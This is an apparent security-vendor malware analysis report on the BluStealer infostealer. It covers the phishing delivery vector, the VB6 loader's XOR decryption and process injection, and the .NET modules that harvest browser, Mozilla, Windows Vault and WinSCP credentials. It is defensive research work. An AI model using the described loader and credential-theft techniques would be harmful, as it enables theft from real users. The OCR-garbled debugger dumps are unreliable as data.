## GoSecure Titan Labs Technical Report: BluStealer Malware Threat

gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/

#### GoSecure

September 22, 2021

# **COSECURE** TITNN

GoSecure Titan Labs obtained a sample of the high-profile malware identified as BluStealer – that can steal credentials, passwords, credit card data, and more. The expert investigators at Titan Labs developed this detailed analysis that examines the infection vector, components, methods of exfiltration and capabilities.

This sample of an optical disc image (ISO) file (01d4b90cc7c6281941483e1cccd438b2) from GoSecure's Inbox Detection and Response (IDR) team embedded within the ISO file is a 32-bit executable (6f7302e24899d1c05dcabbc8ec3e84d4) compiled in Visual Basic 6. The following is an in-depth analysis of the portable executable (PE).

GoSecure Titan Labs obtained a sample of the high-profile malware identified as BluStealer – that can steal credentials, passwords, credit card data, and more. The expert investigators at Titan Labs developed this detailed analysis that examines the infection vector, components, methods of exfiltration and capabilities.

This sample of an optical disc image (ISO) file (01d4b90cc7c6281941483e1cccd438b2) from GoSecure's Inbox Detection and Response (IDR) team embedded within the ISO file is a 32-bit executable (6f7302e24899d1c05dcabbc8ec3e84d4) compiled in Visual Basic 6. The following is an in-depth analysis of the portable executable (PE).

## Analysis

#### 2.0.1 Infection Vector

The initial infection vector is via malspam containing links to cdn.discord.com. Using Discord's content delivery network (CDN) as a malware distribution system continues to grow in popularity among threat actors. The email (1010589761b3051eec33681d0513242a) in this case, shown in *Figure 1*, purports to be from DHL Express, stating that a shipment is on the way and that it can be tracked or changed by clicking the link labelled here, which downloads

the malicious ISO file from hxxps://cdn[.]discordapp[.]com/attachments/ 829530662406193185/882109821736865832/Your\_DHL\_Shipment\_Notification.pdf.iso. This particular campaign does not exclusively use *DHL* spoofed emails, as emails spoofing other companies have also been observed dropping the same final payload.



Figure 1: Malspam

## 2.0.2 BluStealer's Main Component

As displayed in *Figure 2*, the resource section of the PE contains data with extremely high entropy, indicating that it is encrypted. This, along with the large size of the resource section, suggests that the PE is a loader. Examining the resource section reveals two large arrays of encrypted data contained within a segment of the resource section named *CUSTOM*.





Opening the PE in x64dbg, we can see that the first instruction at the entry point is a call to *MSVBVM60.ThunRTMain*. Executables compiled in VB6 and lower begin with a call to *ThunRTMain*, which takes an address as its only argument. This address points to a structure, beginning with VB5!, that contains information about the given program. At an offset of 45 bytes, the structure normally contains the address of *aSubMain*, which is the program's main function. However, as displayed in *Figure 3*, the address in this instance consists of only null bytes, indicating that the executable had either been obfuscated or had its compilation routine modified.

🕷 unpacked	d_exe_in_iso.exe - PID: 10	OC - Module: unpacked_exe	_in_iso.exe - Thread: Main Thread 1E40 - x32dbg				
File View	Debug Trace Plugins	Favourites Options He	lp Aug 7 2020				
🖻 🕑 🔳	🔿 🖩 🍷 🖓 🐋	🎍 🛊 🎿 📓 🥒 👳	🥑 🥒 fx # 🗛 🖺 📃 👳				
CPU	📝 Log 👘 Notes	• Breakpoints 🛛 🎟 Mem	ory Map 🛛 🗐 Call Stack 🛛 💀 SEH 🗖 Script	Symbols ○ Source ,	C References	😒 Threads	📥 Handles 🛛 🐔 Trace
ECX EDX ES	I EDI 00402AC8	68 8C2D4000	push unpacked_exe_in_iso.402D8C	EntryPoint	_ ^		
342	00422AC0 00422AC2 00402AD2 00402AD2 00402AD4 00402AD5 00402AD5 00402AD5 00402AD5 00402AD5 00402AD5 00402AD5 00402AF3 00402AF4 00402AF4 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402AF5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00402F5 00405F5 00405F5 00405F5 00405F5 00405F5 00405F5 00405F5	E& EEFFFFF 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 00000 0000 0000 0000 00000 0000 0000 0000 0000 0000	<pre>Gail </pre> Call  C	edx:"'hE=@" edx:"'hE=@"	EAX EBX EDX EDX EDY ESP EST EDI EIP EFLAGG ZF 1 OF 0 CF 0 LastE Default	0019FFCC 00283000 00402AC8 00402AC8 0019FF20 00402AC8 00402AC8 00402AC8 00402AC8 00402AC8 00402AC8 00402AC8 00402AC8 00402AC8 00402AC8 0FF 1 A F 0 F 0 FF 1 A F 0 F 0 FF 0 F 0 F 0 FF 0 F 1 F 1 F 0 F 1 F 1 F 1 F 0 F 0 FF 0 F 0 F 0 00000C (stdcall)	"hm=@" "hmE=@" "hmE=@" "hmE=@" unpacked_exe_in_iso.00402ACD 0 (ERROR_SUCCESS) unpacked_exe_in_iso.00402D8C
<jmp.&thur< td=""><td>nRTMain&gt;</td><td></td><td></td><td></td><td></td><td></td><td></td></jmp.&thur<>	nRTMain>						
.text:0040	D2ACD unpacked_exe_	in_iso.exe:\$2ACD #2ACI	D				
Ump 1	Bunder Damp 2 Bud Du	ump 3 🚛 Dump 4 🚛	Dump 5 🛛 👼 Watch 1 🛛 💷 Locals 🏾 🎾 Struct				
Address H	Hex		ASCII				
00402D8C 00402D9C 00402DAC 00402DBC 00402DBC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 00402DCC 0000000000000000000000000000000000	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	A 00 00 00 00 00 00 00 00 00 00 00 00 00	0 00 00 WES 10.* 0 00 00 0 0 00 0 0 00 0 0 00 0 0 00 0 0 0 0				

#### Figure 3: Call to ThunRTMain

Once inside user-defined code, it can be seen that an encryption key is created with a call to *bcrypt.BCryptGenerateSymm etricKey*. Next, an array is created that contains the hex values 1 through 1300. Each element of the array is allotted 16 bytes, as depicted in *Figure 4*.

🛿 🚽 Dump 2																	
Address	Hex	(		11	2				15			10	2				ASCII
007B70D8	01	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
007B70E8	02	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
007B70F8	03	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
007B7108	04	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00787118	05	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00787128	06	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00787138	07	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•••••
00/8/148	08	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•••••
00/8/158	09	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00787168	OP	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00/8/1/0	UD	00	00	00	100	00	00	00	00	00	00	00	100	00	00	00	
										11				_			
🚛 Dump	Dump 3																
Care -																	
Address	Hex	(												-			ASCII
Address 007CA028	Hex F6	12	00	00	00	00	00	00	00	00	00	00	00	00	00	00	ASCII Ö
Address 007CA028 007CA038	He> F6 F7	( 12 12	00	00	00	00 00	00	00	00	00	00	00	00	00	00	00	ASCII ö ÷.
Address 007CA028 007CA038 007CA048	He> F6 F7 F8	12 12 12 12	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	00 00 00	ASCII Ö ÷ Ø
Address 007CA028 007CA038 007CA048 007CA058	Hex F6 F7 F8 F9	12 12 12 12 12	00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	ASCII Ö. ÷. ø. Ų.
Address 007CA028 007CA038 007CA048 007CA058 007CA058	He> F6 F7 F8 F9 FA	12 12 12 12 12 12	000000000000000000000000000000000000000	00 00 00 00 00	00 00 00 00	00 00 00 00 00	00 00 00 00 00	000000000000000000000000000000000000000	00 00 00 00 00	00 00 00 00 00	000000000000000000000000000000000000000	00 00 00 00 00	00 00 00 00 00	000000000000000000000000000000000000000	000000000000000000000000000000000000000	00 00 00 00 00	ASCII Ö. ÷. ø. ù. ù.
Address 007CA028 007CA038 007CA048 007CA058 007CA058 007CA068	He> F6 F7 F8 F9 FA FB	12 12 12 12 12 12 12	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00	ASCII ö. ÷. ø. ù. ù. ú. ů.
Address 007CA028 007CA038 007CA038 007CA058 007CA058 007CA058 007CA058	He> F6 F7 F8 F9 FA FB FC	12 12 12 12 12 12 12 12	00 00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00	000000000000000000000000000000000000000	00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00	ASCII Ö. ÷. ů. ů. ú. ů. ů. ů.
Address 007CA028 007CA038 007CA048 007CA058 007CA068 007CA068 007CA088 007CA088 007CA0988	He> F6 F7 F8 F9 FA FB FC FD FD	12 12 12 12 12 12 12 12 12 12	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00	000000000000000000000000000000000000000	00 00 00 00 00 00 00 00	ASCII Ö. ÷. ů. ù. ú. û. ů. ů. ů. ů. ů. ů. ů. ů. ů. ů. ů. ů. ů.
Address 007CA028 007CA038 007CA048 007CA058 007CA068 007CA078 007CA088 007CA098 007CA098 007CA098	He> F6 F7 F8 F9 FA FB FC FD FE	12 12 12 12 12 12 12 12 12 12 12	00 00 00 00 00 00 00 00		00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII Ö. ÷. Ø. ù. ů. ů. ů. ů. ů. ů. ů. ů. ů. ů
Address 007CA028 007CA038 007CA048 007CA058 007CA058 007CA068 007CA078 007CA088 007CA088 007CA088 007CA080 007CA068	He> F6 F7 F8 F9 FA FB FC FD FE FF	12 12 12 12 12 12 12 12 12 12 12 12	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	ASCII Ö. ÷. ů. ù. û. û. ý. þ. ÿ.
Address 007CA028 007CA038 007CA048 007CA058 007CA068 007CA068 007CA088 007CA088 007CA088 007CA088 007CA088	He> F6 F7 F8 F9 FA FB FC FD FE FF 00	12 12 12 12 12 12 12 12 12 12 12 12 12 1	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 00	ASCII Ö. ÷. ø. ù. û. û. û. ý. þ. ý.

#### Figure 4: Initialized Array

Using the encryption key that was created previously, the malware encrypts the newly initialized array with a call to *bcrypt.BCryptEncrypt*. These encrypted bytes will be used as XOR keys, and are shown in *Figure 5*.

🚛 Dump	🚛 Dump 1																
Address	He	<															ASCII
00787008	50	4A	AO	61	01	3C	85	22	82	30	58	13	6A	4F	39	54	1J a.<.".0X. j097
007B70E8	88	BO	09	18	97	BC	28	74	CF	<b>B</b> 3	F5	CD	FB	01	CA	B6	¼(tϺőÍѼ.ʶ
007B70F8	09	30	9E	70	6F	48	66	81	CE	<b>B4</b>	96	B1	4F	D1	98	44	.0.}oHf.1´.±OÑ.0
007B7108	68	58	3A	57	B2	9C	D4	AC	11	5 D	50	39	14	E9	A3	0E	hX:₩*.Ô¬.]P9.éf.
007B7118	EB	FA	E8	C4	C9	1E	7E	99	58	BC	A1	A4	5E	24	68	6E	ëúèÄÉ.~.×%i¤^\$hr
007B7128	C5	07	C4	1A	25	BC	91	DE	64	03	E2	AA	11	56	9F	EC	Å.Ä.‰4.Þd.âª.V.ì
007B7138	52	00	07	FO	OA.	05	49	95	6F	8E	B6	08	9F	40	58	AB	R 0 I. o. ¶@׫
007B7148	AA	8D	2 B	2F	9E	46	D4	FE	6E	7F	97	OC.	EB	A5	EF	07	ª.+/.FÔþnë¥ï.
007B7158	6F	D8	AZ	A5	F7	59	8E	83	5B	6F	E5	F2	BF	CE	F5	37	oØ⊄¥÷Y[oåò¿Îő7
007B7168	10	82	DE	3F	79	16	50	3F	F8	F8	48	27	72	В9	AC	FE	Þ?y. P?øøH'r'-þ
007B7178	3E	D1	OB	D2	A9	B5	CD	BE	BB	OB	C6	4A	30	71	C2	A1	>Ñ.Ò@µÍ¼».£JOgÂi
00707400	200	60	175	DE	100	54	00	<b>C</b> A	1.7.0	00	24		E.E.	60	6.7		

#### Figure 5: XOR Keys

The malware then loads the first array of ciphertext from its resource section into memory and proceeds to decrypt it. As can be observed from the decryption routine, depicted in *Figure 6*, a byte from the ciphertext, pointed to by the address stored in the ESI register, is moved into the BL register. This value is then XORed with a XOR key, pointed to by the address stored in the EAX register. The resulting value is then moved back to its original place in the ciphertext array. The pointers to both the ciphertext and XOR keys are incremented by one and the process continues in a loop until the ciphertext is fully decrypted.

🖾 CPU 📄 Log 👘 Notes 🔹 Breakpoints 📟	Memory Map 🛛 🗐 Call Stack 🛛 🧠 SEH 🛛 🗾 Script 🛛 🐏 Sy	ymbols 🛛 😔 Source 🖉 References 🛸 Threads 🔒 Handles
00414491         * EB 1E           00414493         8885 34FFFFFF           00414493         8885 2C           00414493         0385 20FFFFF           00414492         0385 20FFFFF           00414422         0385 20FFFFF           00414422         0385 20FFFFF           00414422         8800 34FFFFFF           00414482         8860 34FFFFFF           00414481         8885 34FFFFFF           00414487         3885 12CFFFFFF           00414487         3885 12CFFFFFF           00414482         8845 0C           00414462         8870 C           00414462         8845 0C           00414463         885 34FFFFF           00414464         8870 C           00414463         8870 C           00414464         8870 C           00414467         8870 C           00414467         8870 C           00414467         8870 S           00414467         8870 S           00414467         88770 2C           00414467 <th><pre>jmp unpacked_exe_in_iso.4144B1 mov eax,dword ptr ss:[ebp-CC] add eax,dword ptr ss:[ebp-EC] add eax,dword ptr ss:[ebp-E0] j0 unpacked_exe_in_iso.4147E0 mov eax,dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-E4] jg unpacked_exe_in_iso.41450C push dword ptr ss:[ebp-16] mov eax,dword ptr ss:[ebp-CC] push dword ptr ds:[eax+2C] mov eax,dword ptr ss:[ebp-CC] push dword ptr ss:[ebp-CC] push dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-CC] push dword ptr ds:[eax+2C] mov eax,dword ptr ss:[ebp-CC] push dword ptr ds:[eax+2C] push dwor</pre></th> <th><pre></pre></th>	<pre>jmp unpacked_exe_in_iso.4144B1 mov eax,dword ptr ss:[ebp-CC] add eax,dword ptr ss:[ebp-EC] add eax,dword ptr ss:[ebp-E0] j0 unpacked_exe_in_iso.4147E0 mov eax,dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-E4] jg unpacked_exe_in_iso.41450C push dword ptr ss:[ebp-16] mov eax,dword ptr ss:[ebp-CC] push dword ptr ds:[eax+2C] mov eax,dword ptr ss:[ebp-CC] push dword ptr ss:[ebp-CC] push dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-CC] mov eax,dword ptr ss:[ebp-CC] push dword ptr ds:[eax+2C] mov eax,dword ptr ss:[ebp-CC] push dword ptr ds:[eax+2C] push dwor</pre>	<pre></pre>
	mov bl,byte ptr ds:[esi] xor bl,byte ptr ds:[esi]	LastError 0000000 (ERROR_SUCCESS)
004144Er         FF75 E8           004144Er         F845 0C           004144Er         FF30           004144Er         FF30           004144F8         8845 0C           004144F9         8848           004144F9         8845 E8           004144F9         8845 E8           004144F0         >04845 E8           00414507         >0680 B9020300           00414507         >8945 E8           00414507         >8845 E8           00414507         >8845 E8           00414507         >8345 34FFFFFF 00           <	push dword ptr ss:[edp=1s] mov eax, dword ptr ds:[eax] push dword ptr ds:[eax] mov byte ptr ds:[eax],b] mov byte ptr ds:[eax],b] mov eax, dword ptr ss:[ebp=1s] add eax,1 jo unpacked_exe_in_iso.4147E0 mov dword ptr ss:[ebp=2c],eax jmp unpacked_exe_in_iso.414493 and dword ptr ss:[ebp=CC].0	Verdur(stock) 1: [csp+4] 0019F7A4 2: [csp+4] 0019F7A4 3: [csp+c] 0000000 4: [csp+10] 0000000 5: [csp+14] 0000000 6: [csp+14] 0000000 8: [csp+20] 0000000 8: [csp+20] 0000000 4: [csp+24] 0000000 5: [csp+24] 0000000
💭 Dump 1 💭 Dump 4 💭 Dump 5 🛞 Watch 1	[x=] Locals 😕 Struct 💷 Dump 2	
Address Hex (007CADE0 10.10.30.61.02.3C.85.22.86.30.58.13.9 007CADE0 30.80.09.18.97.8C.28.74.8F.83.F5.CD.F 007CA100 09.30.9E.70.6F.48.66.31.CE.84.96.81.4 007CA110.68.58.3A.57.82.9C.04.AC.11.50.50.39.9 007CA120.65.52.CA.C9.AA.77.54.79.04.A0.88.9 007CA120.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.C9.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.AC.05.6E.C2.09.7 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6E.22.9 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.AC.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.6C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.5C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.5C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.5C.20.9 007CA130.4C.74.E4.6A.57.03.F6.4C.05.5C.20.9 007CA130.4C.74.E4.57.5C.5C.20.9 007CA130.4C.74.E4.57.5C.5C.20.5C.5C.20.5C.5C.20.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.50.5C.5	ASCII         Address         Hex           5 B0 39 54 ↓.0a.        , M(1, *01, E)         00787088 50 4A A0 63           B 01 CA B6 0*, M(1, *01, E)         00787088 88 80 09 11         00787088 09 30 92 71           F D1 98 44 0, M(1, *01, E)         00787088 09 30 92 71         88 80 09 11           4 E9 A3 0E hx: W*.0, P.9.ét.         00787108 68 58 3A 52           3 05 3C 06 Å&/E54wTy.e         00787118 EB FA 88 C*           0 38 F1 83 ¬±3W054, A£296         00787128 C5 07 C4 14	$\begin{array}{c c c c c c c c c c c c c c c c c c c $

#### Figure 6: Decryption Routine

The decrypted ciphertext yields a PE. As shown in *Figure 7*, the malware loads the PE with a call to *user32.CallWindowProcW*, with

*C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe* as its second argument and the PE's address as its third. In this manner, the PE is executed with *AppLaunch.exe*, which is a Microsoft .NET launch utility. This confirms our suspicions that the malware is indeed a loader.



Figure 7: Call to CallWindowProcW

## 2.0.3 ChromeRecovery.exe Stealing Module

(4509c33c251e8e075e4aa95001e35cdf), which is saved to the Templates directory, executed and then deleted. *ConsoleApp8.exe* steals credentials from Windows Vault and WinSCP and appends them to credentials.txt. One of our file detection signatures entitled *malware\_blustealer\_0*, listed below in the *Detections* section, alerted on

ChromeRecovery.exe as *BluStealer*. Interestingly, the malware sample that the signature was based on was a 32-bit VB6-compiled executable

(a1329dab78d5bac41e39034d840c30f1), analyzed in June of this year. Comparing both samples, we found that *BluStealer*'s full functionality was originally contained within a single PE file. However, it would appear as though *BluStealer*'s authors have opted for a more modular malware, spreading its functionality, as well as enhancing it, across multiple binaries.



Figure 8: ChromeRecovery.exe Credential Stealing Module

## 2.0.4 ThunderFox.exe Stealing Module

When execution is transferred back to the loader, it loads the second array of ciphertext from its resource section into memory and proceeds to decrypt it in the exact same manner as it employed with the first one. This also results in a 32-bit .NET assembly (00cdcfc91db339be14f441be75e0dec7), which is also loaded with *AppLaunch.exe* via *user32.CallWindowProcW*. Opening the file, internally named *5.exe*, in dnSpy reveals that it decompresses the file entitled app from its resource section and reflectively loads it via a call to *MethodBase.Invoke*, as shown in *Figure 9*.



#### Figure 9: 5.exe

The decompressed file is yet another 32-bit .NET Assembly

(6ae510da968ebcbf5a8661c080ac12fd). Its name, *Thunder-Fox.exe*, is an amalgamation of *ThunderBird* and *FireFox* since it targets Mozilla products, which also includes *Waterfox, K-Meleon, IceDragon, Cyberfox, BlackHawK, Pale Moon*. These products are also targeted by ChromeRecovery.exe but in a different manner. As depicted in *Figure 10, ThunderFox* extracts login credentials from *logins.json, key4.db, signons.sqlite*, and *key3.db. logins.json* stores encrypted passwords for Mozilla products, while *key4.db* is the Network Security Services (NSS) key database used to store Mozilla encryption data, which is required to decrypt the encrypted passwords in *logins.json. signons.sqlite* and *key3.db* have the same functionality just described but are used with legacy versions of Mozilla products. The stolen data is formatted the same as with *ChromeRecovery* and is also appended to *credentials.txt*.



Figure 10: ThunderFox Credentials Stealing Module

